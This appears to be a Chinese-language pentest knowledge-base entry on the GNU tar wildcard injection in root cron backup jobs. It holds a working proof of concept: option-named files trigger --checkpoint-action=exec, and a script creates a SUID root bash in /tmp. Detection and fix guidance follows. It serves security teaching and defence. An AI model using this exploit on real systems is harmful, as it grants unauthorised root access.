Cron 备份脚本 tar 通配符展开导致参数注入执行命令
pentest/privilege-escalation · verified
一句话结论
当 root 的 Cron 备份脚本使用 tar czf backup.tar.gz * 这类通配符时,攻击者可在被备份目录创建以 -- 开头的文件名,让 tar 把它们当成选项,并借 --checkpoint-action=exec 以 root 执行命令。
原理
- shell 在执行命令前会展开
*,把目录下所有文件名作为独立参数传给tar。文件名可以以--开头,shell 不会区分“文件名”和“选项”。 - GNU tar 会把以
--开头的参数解析为长选项。攻击者创建名为--checkpoint=1和--checkpoint-action=exec=sh shell.sh的文件,tar 就把它们当成自己的选项。 --checkpoint=1让 tar 每处理一个文件触发一次 checkpoint;--checkpoint-action=exec=sh shell.sh指定 checkpoint 时执行命令。两者组合后,tar 在备份过程中以 root 执行sh shell.sh。- 成立前提是 Cron 任务以 root 运行、使用通配符展开、且清理/备份目录对攻击者可写。tar 不校验参数来源是命令行还是 shell 展开的文件名。
- 同类问题存在于其他接受选项的工具:只要 root 脚本把通配符展开结果直接当作参数,就可能被文件名注入选项。
触发条件
- 存在以 root 运行的 Cron 任务,命令形如
tar czf backup.tar.gz *、tar cf ... *等使用通配符的备份/归档操作。 - 攻击者对被展开的目录有写权限,能创建以
--开头的文件。 - 目标 tar 支持
--checkpoint与--checkpoint-action=exec(GNU tar)。 - 攻击者能等待到任务调度。
利用步骤
- 枚举 Cron 任务,寻找使用通配符的 tar 命令:
cat /etc/crontab、ls -la /etc/cron.d/、crontab -l、ps -ef | grep tar。 - 确认备份目录对当前用户可写:
ls -ld <dir>、test -w <dir>。 - 在目录中创建两个以
--开头的文件名,分别作为 checkpoint 开关和执行动作。 - 创建被执行的 shell 脚本并赋予执行权限。
- 等待 Cron 触发,检查 SUID bash 是否生成。
- 执行
/tmp/rootbash -p。
PoC
# 进入 root cron 会执行 tar 的目录
cd /path/to/backup-dir
# 创建被 tar 误认为选项的文件名
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
# 创建被执行的载荷
printf '%s\n' '/bin/cp /bin/bash /tmp/rootbash' '/bin/chmod +xs /tmp/rootbash' > shell.sh
chmod +x shell.sh
# 等待 cron 执行 tar czf backup.tar.gz *
# 然后执行生成的 SUID bash
/tmp/rootbash -p
id
# 预期结果:
uid=0(root) gid=0(root) groups=0(root)
# 手工验证 tar 选项注入(不依赖 cron)
tar cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
变体与关联
- 变体:
--checkpoint-action=exec=可直接执行任意命令,也可写authorized_keys、反弹 shell,而不只是复制 bash。 - 变体:
tar的--to-command、--use-compress-program等选项在特定调用方式下也可执行命令。 - 变体:其他工具的通配符参数注入(如
chown、chmod、rsync的选项)原理相同,需结合具体工具支持的选项判断。 - 关联:[[pentest-privilege-escalation-cron-writable-script]]、[[pentest-privilege-escalation-cron-path-hijack]]。
- 边界:若 Cron 使用
tar czf backup.tar.gz -- *、find ... -print0 | xargs -0 tar ...或把文件列表写入清单文件,通配符不会把文件名当选项,本场景不成立。GNU tar 之外的实现可能不支持这些选项。
检测与防御
- 检测:监控备份目录中出现以
--开头的文件名;审计 root Cron 中的 tar 通配符用法;监控 tar 进程派生出sh/bash或执行--checkpoint-action。 - 修复:在通配符前加
--终止选项解析(如tar czf backup.tar.gz -- *);改用find ... -print0 | tar --null -T - ...;避免以 root 直接对用户可写目录做通配符归档。 - 加固:备份目录权限收紧;Cron 任务使用固定文件清单;对目录内容做完整性监控。